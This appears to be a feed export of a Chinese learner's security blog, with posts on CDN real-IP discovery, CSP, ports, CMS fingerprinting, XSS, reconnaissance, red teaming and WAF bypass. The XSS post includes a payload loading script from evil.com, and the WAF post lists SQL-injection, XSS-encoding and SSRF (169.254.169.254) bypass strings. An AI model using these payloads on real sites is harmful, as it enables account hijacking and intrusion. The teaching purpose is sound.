  • 不同DNS域名解析(nslookup www.example.com 8.8.8.8)
  • 敏感文件泄露
  • 邮箱反弹IP地址
  • APP抓包

image-20210309201255404

]]>
+ + + + + <blockquote> +<p>CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用 + + + + + + + +
+ + + CSP内容安全策略 + + http://h4m5t.github.io/2021/03/07/CSP/ + 2021-03-07T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + CSP介绍

内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本攻击(XSS) 和数据注入等攻击。

这些攻击可用于实现从数据窃取到网站破坏或作为恶意软件分发版本等用途。内容安全策略在现代浏览器中已经包含,使用的是 W3C CSP 1.0 标准中描述的 Content-Security-Policy 头部和指令。

CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。

CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。

那么如何应用?

CSP 可以由两种方式指定:HTTP Header 和 HTML。HTTP 是在 HTTP 由增加 Header 来指定,而 HTML 级别则由 Meta 标签指定。

CSP 有两类:Content-Security-Policy 和 Content-Security-Policy-Report-Only。(大小写无关)

1
2
3
HTTP header :
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略

HTTP Content-Security-Policy 头可以指定一个或多个资源是安全的,而Content-Security-Policy-Report-Only则是允许服务器检查(非强制)一个策略。多个头的策略定义由优先采用最先定义的。

1
2
3
HTML Meta :
<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">

Meta 标签与 HTTP 头只是行式不同而作用是一致的。与 HTTP 头一样,优先采用最先定义的策略。如果 HTTP 头与 Meta 定义同时存在,则优先采用 HTTP 中的定义。

如果用户浏览器已经为当前文档执行了一个 CSP 的策略,则会跳过 Meta 的定义。如果 META 标签缺少 content 属性也同样会跳过。

针对开发者草案中特别的提示一点:为了使用策略生效,应该将 Meta 元素头放在开始位置,以防止提高人为的 CSP 策略注入。

]]>
+ + + + + <p><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP">CSP介绍</a></p> +<p>内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,用于帮助检测和缓 + + + + + + + +
+ + + 端口服务总结 + + http://h4m5t.github.io/2021/03/06/%E7%AB%AF%E5%8F%A3/ + 2021-03-06T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

总结一下常见服务器端口服务

详细列表:
维基百科TCP/UDP端口列表

端口服务说明
21FTPFTP 服务器所开放的端口,用于上传、下载
22SSH22 端口就是 ssh 端口,用于通过命令行模式远程连接 Linux 系统服务器
25SMTPSMTP 服务器所开放的端口,用于发送邮件
80HTTP用于网站服务例如 IIS、Apache、Nginx 等提供对外访问
110POP3110 端口是为 POP3(邮件协议 3)服务开放的
137/138/139NETBIOS其中 137、138 是 UDP 端口,当通过网上邻居传输文件时用这个端口。而 139 端口:通过这个端口进入的连接试图获得 NetBIOS/SMB 服务。这个协议被用于 windows 文件和打印机共享和 SAMBA
143IMAP143 端口主要是用于“Internet Message AccessProtocol”v2(Internet 消息访问协议,简称 IMAP),和 POP3 一样,是用于电子邮件的接收的协议
443HTTPS网页浏览端口,能提供加密和通过安全端口传输的另一种 HTTP
1433SQL Server1433 端口,是 SQL Server 默认的端口,SQL Server 服务使用两个端口:TCP-1433、UDP-1434。其中 1433 用于供 SQL Server 对外提供服务,1434 用于向请求者返回 SQL Server 使用了哪个 TCP/IP 端口
3306MySQL3306 端口,是 MySQL 数据库的默认端口,用于 MySQL 对外提供服务
3389Windows Server Remote Desktop Services3389 端口是 Windows 远程桌面的服务端口,可以通过这个端口,用 “远程桌面” 等连接工具来连接到远程的服务器
8080代理端口8080 端口同 80 端口,是被用于 WWW 代理服务的,可以实现网页浏览,经常在访问某个网站或使用代理服务器的时候,会加上 “:8080” 端口号。另外 Apache Tomcat web server 安装后,默认的服务端口就是 8080
]]>
+ + + + + <blockquote> +<p>总结一下常见服务器端口服务</p> +</blockquote> +<p>详细列表:<br><a href="https://zh.wikipedia.org/wiki/TCP/UDP%E7%AB%AF%E5%8F%A3%E5%88%97%E8%A1% + + + + + + + +
+ + + CMS指纹识别 + + http://h4m5t.github.io/2021/03/05/CMS/ + 2021-03-05T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 1.什么是CMS

内容管理系统(英语:content management system,缩写为 CMS)是指在一个合作模式下,用于管理工作流程的一套制度。该系统可应用于手工操作中,也可以应用到电脑或网络里。作为一种中央储存器(central repository),内容管理系统可将相关内容集中储存并具有群组管理、版本控制等功能。版本控制是内容管理系统的一个主要优势。

内容管理系统在物品或文案或数据的存储、掌管、修订(盘存)、语用充实、文档发布等方面有着广泛的应用。现在流行的开源CMS系统有WordPress、Joomla!、Drupal、Xoops、CmsTop等。

2.为什么要识别CMS

在web渗透过程中,Web指纹识别是信息收集环节中一个比较重要的步骤,通过一些开源的工具、平台或者手工检测CMS系统是公开的CMS程序还是二次开发至关重要,能准确的获取CMS类型、Web服务组件类型及版本信息可以帮助安全工程师快速有效的去验证已知漏洞。对目标渗透测试过程中,目标的cms是十分重要的信息,有了目标的cms,就可以利用相关bug进行测试,进行代码审计等。

在指纹识别的学习过程中,有很多开源的工具和指纹库,如fofa、WhatWeb、w11scan、WebEye

3.识别方式

  1. 网站特有文件

如/templets/default/style/dedecms.css—dedecms

  1. 网站独有文件的md5

如favicon.ico,但是该文件可以被修改导致不准确。

  1. 网站文件命名规则

  2. 返回头的关键字

  3. 网页关键字

如/data/sessions/index.html——dedecms

  1. Url特征

  2. Meta特征

  3. Script特征

  4. robots.txt

  5. 网站路径特征

  6. 网站静态资源

  7. 爬虫网站目录信息

相对比较准确,但是可能有反爬。

  1. 在线网站

指纹实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
{
"url": "/install/",
"re": "aspcms",
"name": "AspCMS",
"md5": ""
},
{
"url": "/about/_notes/dwsync.xml",
"re": "aspcms",
"name": "AspCMS",
"md5": ""
},
{
"url": "/admin/_Style/_notes/dwsync.xml",
"re": "aspcms",
"name": "AspCMS",
"md5": ""
},
{
"url": "/apply/_notes/dwsync.xml",
"re": "aspcms",
"name": "AspCMS",
"md5": ""
},
{
"url": "/tpl/green/common/images/notebg.jpg",
"re": "",
"name": "自动发卡平台",
"md5": "690f337298c331f217c0407cc11620e9"
},
{
"url": "/images/download.png",
"re": "",
"name": "全程oa",
"md5": "9921660baaf9e0b3b747266eb5af880f"
},
{
"url": "/kindeditor/license.txt",
"re": "",
"name": "T-Site建站系统",
"md5": "b0d181292c99cf9bb2ae9166dd3a0239"
},
{
"url": "/public/ico/favicon.png",
"re": "",
"name": "悟空CRM",
"md5": "834089ffa1cd3a27b920a335d7c067d7"
},
{
"url": "/public/js/php/file_manager_json.php",
"re": "",
"name": "悟空CRM",
"md5": "c64fd0278d72826eb9041773efa1f587"
},
{
"url": "/plugins/weathermap/images/exclamation.png",
"re": "",
"name": "CactiEZ插件",
"md5": "2e25cb083312b0eabfa378a89b07cd03"
}

4.指纹识别的对象

1、CMS信息:比如大汉CMS、织梦、帝国CMS、phpcms、ecshop等;

2、前端技术:比如HTML5、jquery、bootstrap、pure、ace等;

3、Web服务器:比如Apache、lighttpd, Nginx, IIS等;

4、应用服务器:比如Tomcat、Jboss、weblogic、websphere等;

5、开发语言:比如PHP、Java、Ruby、Python、C#等;

6、操作系统信息:比如linux、win2k8、win7、kali、centos等;

7、CDN信息:是否使用CDN,如cloudflare、360cdn、365cyd、yunjiasu等;

8、WAF信息:是否使用waf,如Topsec、Jiasule、Yundun等;

9、IP及域名信息:IP和域名注册信息、服务商信息等;

10、端口信息:有些软件或平台还会探测服务器开放的常见端口。

5.识别工具

WhatWeb(推荐指数★★★★★)

地址:https://github.com/urbanadventurer/WhatWeb

此工具kali自带,使用方法:

whatweb www.example.com 即可,也可以加参数-v显示更详细的信息。

Wapplyzer(推荐指数★★★★)

Wappalyzer可以识别网站上的技术,包括内容管理系统,电子商务平台,JavaScript框架,分析工具,打包工具等等。

可以在谷歌商店直接下载扩展程序,使用很方便。

image-20210306221521620

6.在线识别网站

1.http://whatweb.bugscaner.com/look/

2.https://pentest.gdpcisa.org/whatcms

3.https://www.yunsee.cn/(云悉指纹识别,强烈推荐)

7.结语

指纹识别是渗透测试信息收集中很重要的一部分,对目标渗透测试过程中,目标的cms是十分重要的信息,有了目标的cms,就可以利用相关bug进行测试,进行代码审计等。很多安全小白学了很久,却依然挖不到洞,一方面是技术还不到位,另一方面是信息收集没做好。所以要明白信息收集的重要性

]]>
+ + + + + <h3 id="1-什么是CMS"><a href="#1-什么是CMS" class="headerlink" title="1.什么是CMS"></a>1.什么是CMS</h3><p>内容管理系统(英语:content management system,缩写为 CMS)是指 + + + + + + + +
+ + + 常见名词解释 + + http://h4m5t.github.io/2021/03/04/%E5%90%8D%E8%AF%8D%E8%A7%A3%E9%87%8A/ + 2021-03-04T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +
  • A记录:指定主机名(或域名)对应的IP地址记录

  • cname:别名记录。这种记录允许您将多个名字映射到同一台计算机。

  • 谷歌语法

    • site:baidu.com life
    • filetype:pdf
    • intext:寻找正文中包含有关键字的网页。
    • intitle:寻找标题中包含有关键字的网页
    • inurl:返回url中含有关键词的网页
    • inurl:/admin/login.php(查找管理员登陆)
  • SRC:security response center(安全应急响应中心)

  • CMS:内容管理系统。例如:wordpress

  • CMS指纹识别:网站使用的开源程序源码系统,可以直接利用其漏洞

  • 提权:提高自己在服务器中的权限,主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升WEBSHELL权限以夺得该服务器权限。

  • XML:可扩展标记语言,XML并非是用来取代HTML的。HTML着重如何描述将文件显示在浏览器中,而XML与SGML相近,它着重描述如何将数据以结构化方式表示。

  • webshell:就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

  • 代码审计:顾名思义就是检查源代码中的安全缺陷,检查程序源代码是否存在安全隐患,或者有编码不规范的地方,通过自动化工具或者人工审查的方式,对程序源代码逐条进行检查和分析,发现这些源代码缺陷引发的安全漏洞,并提供代码修订措施和建议。

  • Redis:Key-Value数据库

  • 域名劫持:通过攻击域名解析服务器(DNS),或伪造域名解析服务器(DNS)的方法,把目标网站域名解析到错误的IP地址从而实现用户无法访问目标网站的目的或者蓄意或恶意要求用户访问指定IP地址(网站)的目的。

  • 社工库:利用社会工程学攻击时积累的各方数据的数据库

  • 红队:红队(Red Team)即安全团队最大化模拟真实世界里面的入侵事件,采用入侵者的战术、技术、流程,以此来检验蓝队(Blue Team)的威胁检测和应急响应的机制和效率,最终帮助企业真正提高整个安全建设、安全运营、安全管理等能力。

  • 蓝队:(甲方)为公司的业务提供积极防御,构建企业安全架构等

  • 中间件是一类连接软件组件和应用的计算机软件,它包括一组服务。以便于运行在一台或多台机器上的多个软件通过网络进行交互。该技术所提供的互操作性,推动了一致分布式体系架构的演进,该架构通常用于支持并简化那些复杂的分布式应用程序,它包括web服务器、事务监控器和消息队列软件。 中间件(middleware)是基础软件的一大类,属于可复用软件的范畴。顾名思义,中间件处于操作系统软件与用户的应用软件的中间。

  • JSON:是一种轻量级的数据交换格式。采用完全独立于编程语言的文本格式来存储和表示数据。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言。 易于人阅读和编写,同时也易于机器解析和生成,并有效地提升网络传输效率。

  • SEO:搜索引擎优化。是一种方式:利用搜索引擎的规则提高网站在有关搜索引擎内的排名。目的是让其在行业内占据领先地位,获得收益。

  • DevSecOps:是指先在应用程序开发的生命周期中引入安全性,从而尽可能地减少漏洞并使安全性更接近IT和业务目标。

  • DevOps:是一组过程、方法与系统的统称,用于促进开发(软件工程)、技术运营和质量保障(QA)部门之间的沟通、协作与整合。

  • xpath:即为XML路径语言(XML Path Language),它是一种用来确定XML文档中某部分位置的计算机语言

  • cookie:Cookie是网站为了辨别用户身份而储存在用户本地终端上的数据(通常经过加密)。因为HTTP本身是无状态协议,即服务器不知道用户上一次的请求的内容和次数,这严重阻碍了交互式Web应用程序的实现。在典型的网上购物场景中,用户浏览了几个页面,买了一盒饼干和两瓶饮料。最后结帐时,由于HTTP的无状态性,不通过额外的手段,服务器并不知道用户到底买了什么。 所以Cookie就是用来绕开HTTP的无状态性的“额外手段”之一。服务器可以设置或读取Cookie中包含信息,借此维护用户跟服务器会话中的状态。

  • 短网址(Short URL) ,顾名思义就是在形式上比较短的网址。通常用的是asp或者php转向,在Web 2.0的今天,不得不说,这是一个潮流。目前已经有许多类似服务,借助短网址您可以用简短的网址替代原来冗长的网址,让使用者可以更容易的分享链接。

  • shell:客户端连接服务器端,想要获取服务器端的shell,那么称为正向shell,如果是客户端连接服务器,服务器端想要获取客户端的shell,那么称为反向shell

  • 客户端脚本:

    当客户端通过客户浏览器发送HTTP请求时,web服务器将HTML文档部分和脚本部分返回给客户端浏览器,在客户端浏览器中解释执行并及时更新页面,脚本处理工作全部在客户端浏览器执行完成。JavaScript一般是用在客户端(浏览器)上执行的脚本语言。

  • ]]>
    + + + + + <ul> +<li><p>A记录:指定主机名(或域名)对应的IP地址记录</p> +</li> +<li><p>cname:别名记录。这种记录允许您将多个名字映射到同一台计算机。</p> +</li> +<li><p>谷歌语法</p> +<ul> +<li>site:baidu.com lif + + + + + + + +
    + + + 浅谈XSS漏洞 + + http://h4m5t.github.io/2021/02/25/XSS/ + 2021-02-25T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + XSS漏洞

    xss 跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)缩写混淆,所以将跨站脚本攻击缩写为xss。

    漏洞原理

    xss就是攻击者在web页面插入恶意的Script代码,当用户浏览该页时,嵌入其中web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。

    分类

    反射型XSS(非持久型)

    把用户输入的数据“反射”给浏览器(诱使用户点击恶意链接)

    将包含XSS代码的恶意链接发送给目标用户,当目标用户访问该链接时,服务器接受该目标用户的请求并处理,然后把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本,就会触发XSS漏洞。

    存储型XSS(持久型)

    把输入数据“存储”在服务器。有很强的稳定性。

    攻击者在发帖的过程中,将恶意脚本连同正常信息注入帖子内容,被服务器存储下来,恶意脚本也永久地被存放在服务器。其他用户浏览这个被注入了恶意脚本的帖子,恶意脚本就会在他们的浏览器中执行。

    DOM Based XSS(特殊类型的反射XSS)

    不需要经过后端,它是在浏览器解析渲染服务器源码的时候产生的,所以我们在抓包的过程中是看不到dom型xss有关的内容的(WAF无法防护)

    通过修改网页节点形成XSS。基于DOM文档对象模型的一种漏洞。

    DOM-based XSS漏洞是基于文档对象模型Document Objeet Model 的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态的访问或者更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些事用户可以操作的.客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格的确认,就会产生DOM-based XSS漏洞。

    XSS的利用

    XSS不只是弹窗,弹窗只是测试XSS的存在性。

    payload:通过插入javascript代码,控制浏览器,完成各种具体功能.

    cookie劫持

    通过读取浏览器的cookie对象,攻击者可以不通过密码,直接登陆进入用户的账户.

    可以先加载一个远程脚本,例如:

    1
    http://www.a.com/test.htm/?abc="><script src=http://www.evil.com/evil.js></script>

    构造GET与POST请求

    XSS钓鱼

    为了窃取密码,利用javascript伪造一个登录框,用户输入之后,密码被发送到黑客的服务器上.

    XSS验证码绕过

    通过读取页面内容,将验证码的图片url发送到远程服务器,攻击者在远程服务器接受当前验证码,并将验证码的值返回给当前XSS payload,从而绕过验证码.

    识别用户的浏览器

    通过XSS读取浏览器的UserAgent对象.

    但UserAgent可以伪造,可以通过另一种方法,更准确的识别用户浏览器版本.

    分辨浏览器不同版本之间的差异,从而识别成功.

    识别用户安装的软件

    通过判断ActiveX控件的classid是否存在,来推测用户是否安装了该软件.

    1
    2
    3
    4
    5
    6
    try{
    var Obj=new ActiveXObject('XunLeiBHO.ThunderIEhelper');
    }
    catch(e){
    //异常
    }

    收集常见软件的classid,扫描用户电脑中安装的软件列表.

    识别浏览器安装的插件和扩展

    判断用户是否访问某个网站

    style的visited属性,访问过的链接,颜色会变化.

    获取真实IP

    借助第三方软件,比如客户端安装了Java(JRE)环境,那么可以通过调用JavaApplet接口获取客户端本地IP

    蠕虫

    XSS蠕虫

    条件:用户之间发生交互行为的页面,如果存在存储型XSS,则容易发起XSS Worm攻击.

    XSS构造技巧

    常用测试语句

    1
    2
    3
    4
    5
    6
    7
    <script>alert(1)<script/>

    <img src=x oneorrer=alert(1)>

    <svg onload=alert(1)>

    <s herf=javascript:alert(1)>

    绕过方式

    • JS编码
    • HTML编码
    • URL编码
    • 长度绕过
    • 标签绕过(标签闭合,标签优先性)
    • window.name利用
    • Flash XSS
    • 利用Javascript开发框架漏洞
    • 利用浏览器差异
    • 关键字、函数

    防护方法

    • 过滤输入的数据,非法字符
    • 对数据进行编码转换
    • 添加HttpOnly
    • 输入合法性检查
    • 白名单过滤标签
    • DOM XSS防御
    ]]>
    + + + + + <h3 id="XSS漏洞"><a href="#XSS漏洞" class="headerlink" title="XSS漏洞"></a>XSS漏洞</h3><p>xss 跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style + + + + + + + + + + + +
    + + + PAT-1010 + + http://h4m5t.github.io/2021/02/24/%E7%AE%97%E6%B3%95/ + 2021-02-24T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

    遇到一个看似简单,却很难得分的题目,记录一下。

    原题链接:PAT-Basic Level-1010

    题目(分值:25)

    设计函数求一元多项式的导数。$x^n$的导数为$n x^{n-1}$

    输入格式:

    以指数递降方式输入多项式非零项系数和指数(绝对值均为不超过 1000 的整数)。数字间以空格分隔。

    输出格式:

    以与输入相同的格式输出导数多项式非零项的系数和指数。数字间以空格分隔,但结尾不能有多余空格。注意“零多项式”的指数和系数都是 0,但是表示为 0 0

    输入样例:

    1
    3 4 -5 2 6 1 -2 0

    输出样例:

    1
    12 3 -10 1 6 0

    解答

    • “零多项式”,求导后仍为“零多项式”,此时输出为:0 0
    • 非“零多项式”,求导后变为”零多项式“,此时输出为:0 0
    • 非“零多项式”,求导后不为”零多项式“,此时正常输出求导后的系数和指数,但不输出0 0
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    a=list(map(int,input().split()))
    res=[]
    length=len(a)

    for i in range(0,length,2):
    x=a[i]*a[i+1]
    y=a[i+1]-1
    if x:
    res.append(x)
    res.append(y)
    if not len(res):
    print("0 0")
    else:
    res=map(str,res)
    print(' '.join(res))
    ]]>
    + + + + + <blockquote> +<p>遇到一个看似简单,却很难得分的题目,记录一下。</p> +</blockquote> +<p>原题链接:<a href="https://pintia.cn/problem-sets/994805260223102976/problems/994805 + + + + + + + + + + + +
    + + + 2021,要加油哇 + + http://h4m5t.github.io/2021/02/23/%E6%84%9F%E6%82%9F/ + 2021-02-23T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 开博以来的第一篇感悟。时常回顾一下过去,看看来时的路,又不断为未来焦虑。回味和展望中,心酸后悔又期待无比。

    认识了很多大佬,“鱼皮”,“编程指北”,都是年龄相近,却又那么遥远的人。我在群里说“要是大一就认识鱼皮,就好了”。跟随前人走过的路,总比自己摸索要好一些吧。

    大学的课程即将上完,回首一看,发现自己和别人真的有很大的差距。洛佳在图书馆敲rust飞快,对面大佬夜晚1点练习口语,Cyrus在我这个年龄已经去大厂工作了。

    而我呢,步步艰难,如履薄冰,虽然能力一般,但还是向前走着。

    另外,也在纠结考研和就业的事情。其实也想多读几年书,在学校多呆几年,这么好的新校区,那么大的图书馆,那么好的单人间。可是,备考一年,读研三年,四年青春,为一个学位证值得吗?我不知道。但总会有人选择不同的路,走下去就好了。就像当时选文理一样,又有什么好纠结的呢。

    以前总是迷茫,不知道大学要干什么,学那么枯燥的东西有什么用。大一面试大创,学长学姐问我:未来打算读研吗?我说,读研是什么呢?保研是什么呢?真的不知道啊,只知道自己考上了一个别人眼中的好大学,沉浸在自我满足中,便开始享受大学生活。

    现在,也该为未来做出一些打算了吧。

    Cyrus,yd0ng,a2u13,很多前辈,都直接就业了。当然,他们都很优秀。

    时间紧迫,春招暑期实习也已经开始了。

    希望这学期能多做几个项目,多挖几个漏洞,多刷几个算法题,多看一些安全文章。

    2021,要加油哇。

    ]]>
    + + + + + <p>开博以来的第一篇感悟。时常回顾一下过去,看看来时的路,又不断为未来焦虑。回味和展望中,心酸后悔又期待无比。</p> +<p>认识了很多大佬,“鱼皮”,“编程指北”,都是年龄相近,却又那么遥远的人。我在群里说“要是大一就认识鱼皮,就好了”。跟随前人走过的路,总比自己摸索要好一些 + + + + + + + +
    + + + 渗透测试之信息收集 + + http://h4m5t.github.io/2021/02/20/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/ + 2021-02-20T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

    所谓知彼知己,百战不殆。尽可能多的收集目标信息,渗透测试工作越容易。

    1.域名信息

    1. whois查询
    2. 备案查询

    2.子域名信息

    如果目标网络规模比较大,则主域都是重点防护区域,我们不妨先进入某个子域。

    1. 子域名检测工具

    2. 在线子域名爆破

    3. 搜索引擎

      image-20210221095020308

    4. 在线DNS侦察

    5. 证书透明度日志查询

    3.敏感信息收集

    使用谷歌搜索语法

    例如:site:edu.cn intext:后台管理

    image-20210221094604294

    4.端口信息

    常用端口扫描工具:

    • Nmap
    • Masscan
    • Zmap
    • 御剑高速扫描

    5.指纹识别

    image-20210221095526835

    CMS是Content Management System的缩写,意为”内容管理系统”。

    根据网站特征识别出CMS,查找相关漏洞。

    工具:御剑web指纹识别,WhatWeb,WebRobo.

    也可以使用在线网站查询CMS指纹信息.

    6.寻找真实IP

    CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术。

    第一步,判断目标网站是否使用CDN服务.

    img

    • 通过ping,查看域名解析情况
    • 全国多地ping服务,对比每个地区的结果是否一致,如果都是一样的,说明不存在CDN.

    第二步,绕过CDN寻找真实IP

    image-20210221100509778

    • 扫描网站测试文件
    • 子域名所在IP段
    • 国外访问
    • 查询域名解析记录
    • APP抓包

    7.收集敏感目录文件

    探测Web目录结构和隐藏的敏感文件.

    常用工具:

    • DirBuster
    • 御剑后台扫描
    • wwwscan
    • spinder
    • weakfilescan
    ]]>
    + + + + + <blockquote> +<p>所谓知彼知己,百战不殆。尽可能多的收集目标信息,渗透测试工作越容易。</p> +</blockquote> +<h3 id="1-域名信息"><a href="#1-域名信息" class="headerlink" title="1.域名信息"></a + + + + + + + + + + + +
    + + + 网站技术栈识别工具-wappalyzer + + http://h4m5t.github.io/2021/02/19/%E7%BD%91%E7%AB%99%E8%AF%86%E5%88%AB/ + 2021-02-19T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + wappalyzer是一款优秀的网站技术栈识别工具,在谷歌商店的使用人数已经有上百万人。

    image-20210221103607443

    点击扩展程序图标,就可以自动识别。

    结果如下:

    Snipaste_2021-02-21_10-23-30

    ]]>
    + + + + + <p>wappalyzer是一款优秀的网站技术栈识别工具,在谷歌商店的使用人数已经有上百万人。</p> +<p><img src="https://i.loli.net/2021/02/21/85yAsUTMKHq3ir6.png" alt="image-2021022110360 + + + + + + + + + +
    + + + Docker入门 + + http://h4m5t.github.io/2021/02/16/Docker/ + 2021-02-16T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + + + + + + + + + + + + 红队和渗透测试 + + http://h4m5t.github.io/2021/02/15/%E7%BA%A2%E9%98%9F/ + 2021-02-15T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

    一直会听说红队蓝队,却不知道真的概念,今天好好了解一下。

    先有攻,后有防

    永远记得,安全是先有攻后有防,这个世界上先有黑帽子,然后才有人给白帽子发工资。所以可以毫不客气的说,黑帽子是网安界的基石(注意:这不是在鼓励你去做黑帽子)。黑帽子是先驱,白帽子是追随者。

    所以你需要做的,是代入黑帽子的思维:这个世界上什么资产最多?web应用?手机app?端应用?(再细化一些:struct2?wordpress?rdp?smb?bt? etc.),这些资产的漏洞的发现/利用难度和利用后的获利相比,哪个性价比最高?毫无疑问,性价比高的领域,就是黑帽子最集中的领域,也就是白帽子们投入最大精力的领域(因为雇主们最舍得在这上面掏钱),你应该研究这个,而不是走到一些很生僻,很小众的细分领域,否则未来有失业风险,毕竟即使是小众领域,以一个人的精力也是学不完的,所以别想着什么双修,什么全领域制霸。

    红队

    红队(Red Team)即安全团队最大化模拟真实世界里面的入侵事件,采用入侵者的战术、技术、流程,以此来检验蓝队(Blue Team)的威胁检测和应急响应的机制和效率,最终帮助企业真正提高整个安全建设、安全运营、安全管理等能力。

    红队和渗透测试的区别:

    渗透红队
    测试范围范围有限范围广,有组织计划
    攻击程度点到为止真实猛烈
    目的寻找目标系统不足寻找系统不足,管理不足,提高企业安全建设能力
    ]]>
    + + + + + <blockquote> +<p>一直会听说红队蓝队,却不知道真的概念,今天好好了解一下。</p> +</blockquote> +<h3 id="先有攻,后有防"><a href="#先有攻,后有防" class="headerlink" title="先有攻,后有防"></a>先有 + + + + + + + + + + + +
    + + + WAF bypass技巧 + + http://h4m5t.github.io/2021/02/10/WAF/ + 2021-02-10T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

    WAF : Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

    1.1 寻找真实IP

    e7d9f2da-0fac-432b-bf65-bc3b66afa3d3
    • 域名历史解析记录
    • 内部邮箱源
    • 扫描网站测试文件
    • 子域名所在IP段
    • 信息泄露
    • 国外访问
    • APP抓包

    1.2 注入绕过

    绕过方式例子说明
    大小写绕过UniOn SeleCt针对特定关键字,大小写不敏感,SQL语句不分大小写
    双写绕过Ununionion seselectlect过滤后仍是注入语句(只过滤了一次)
    内联注释绕过and /****!***select * from test*/mysql扩展功能,在/*后加惊叹号,注释中的语句会被执行
    注释符绕过uni/*/on se/*/lect注释符号不影响语句的连接
    对or/and的绕过and = &&,or = ||等价逻辑符号
    对单引号的绕过十六进制编码 宽字节注入 http://www.xxx.com/login.php?user=%df****’ or 1=1  %df****’转义后为=%df%5c%27=運’  select * fromcms_user where username = ‘運’ or 1=1数值型可以不加单引号 将转义符号闭合掉 mysql使用GBK多字节编码,GPC开启(php.ini,magic_quotes_gpc = On),输入%df%27时首先经过上面提到的转义就会变成%df%5c%27(%5c就是反斜杠)。之后再数据库查询由于使用了GBK多字节编码,即在汉字编码范围内两个字节会被编码为一个汉字,然后MySQL服务器会对查询语句进行了GBK编码%df%5c转换成汉字,而单引号逃出了
    等价函数替换hex() bin() 等价于ascii() Sleep() 等价于benchmark()函数结果相同
    空格绕过select/*/*/*/from/**/yz; select%0a*%0afrom%0ayz; %0a 是回车 select(a)from(yz);使用其他字符替换空格

    1.3 XSS绕过

    反射型:

    1

    存储型:

    3
    绕过方式例子说明
    标签闭合,可控为aaa的值,那么可以使用 “> 闭合来绕过,利用”> 等标签来闭合前面标签来达到绕过插入任意JS的效果
    标签优先性利用标签解析的优先性绕过。 比如会优先闭合,导致标签逃逸,从而造成xss执行
    常见编码a aa> <svg/onload=setTimeout(‘\x61\x6C\x65\x72\x74\x28\x31\x29’)>利用常见的一些编码方式去绕过。比如利用 : 当成 冒号: 来绕过,( 和 ) 等效与左右括号 () 可控点在Json中时可使用Unicode编码绕过,在url中可用使用url双重编码等绕过 %0a 为换行的URL编码,可以用来绕过一些Waf,从而执行后面的alert,类似于 Mysql中的%0a换行 利用各种类型的进制转换也可以用来绕过xss防御
    浏览器差异Test 比如 .url 后缀文件也可用造成xss 比如利用IE浏览器中也有一些特性或者函数 比如标签在Firfox浏览器可以解析并造成XSS漏洞,可以用来绕过黑名单等 .url 后缀文件在Firfox浏览器中也会解析成htm文件,也会造成xss 比如利用IE浏览器中一些独特函数来执行xss
    关键字、函数绕过 利用JS的特性,以拼接的方式来组合关键字,从而绕过waf的关键字检测 加入一些特殊字符也可以绕过waf对关键函数的检测
    FuzzJSFuck可以利用Fuzz来发现一些黑名单中未包含到的标签、事件、关键函数

    1.4 SSRF绕过

    绕过方式例子原理
    进制转换十进制 http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1 http://2852039166/ = http://169.254.169.254 十六进制 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20利用十进制、十六进制形式的ip绕过检测,十进制、十六进制的ip在请求时会正常解析,但检测时可能遗漏
